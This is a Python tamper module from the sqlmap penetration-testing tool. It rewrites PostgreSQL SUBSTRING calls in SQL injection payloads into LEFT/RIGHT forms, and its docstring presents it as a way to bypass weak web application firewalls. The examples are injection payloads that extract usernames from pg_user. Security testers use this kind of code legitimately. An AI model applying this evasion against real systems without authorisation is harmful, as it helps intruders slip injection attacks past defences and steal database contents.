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48 lines
1.2 KiB
Python
48 lines
1.2 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.NORMAL
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
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Tested against:
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* PostgreSQL 9.6.12
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Note:
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* Useful to bypass weak web application firewalls that filter SUBSTRING (but not LEFT and RIGHT)
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>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
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'LEFT((SELECT usename FROM pg_user)::text,1)'
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>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
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'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
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"""
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retVal = payload
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if payload:
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match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)
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if match:
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pos = int(match.group(2))
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if pos == 1:
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_ = "LEFT(%s,1)" % (match.group(1))
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else:
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_ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)
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retVal = retVal.replace(match.group(0), _)
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return retVal
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